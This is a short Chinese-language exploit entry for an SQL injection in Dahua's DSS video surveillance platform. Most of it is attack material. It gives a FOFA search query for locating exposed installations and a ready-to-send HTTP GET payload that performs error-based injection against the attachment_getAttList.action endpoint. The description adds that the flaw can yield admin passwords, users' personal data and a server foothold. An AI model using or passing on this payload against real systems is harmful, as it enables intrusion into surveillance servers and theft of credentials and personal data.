D1-2大华-DDS数字监控系统-SQL

漏洞描述：

大华 DSS存在SQL注入漏洞，攻击者 /portal/attachment_getAttList.action 路由发送特殊构造的数据包，利用报错注入获取数据库敏感信息。攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

网站图片：

网络测绘：

fofa语法：

```
body="<meta http-equiv=\"refresh\" content=\"1;url='/admin'\"></span>" || body="dahuaDefined/headCommon.js" || title=="DSS"
```

漏洞复现：

payload：

```
GET /portal/attachment_getAttList.action?bean.TabName=1&bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,0x716b6b6b71,(SELECT%20(ELT(8841=8841,1))),0x7178786271))%
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

效果图: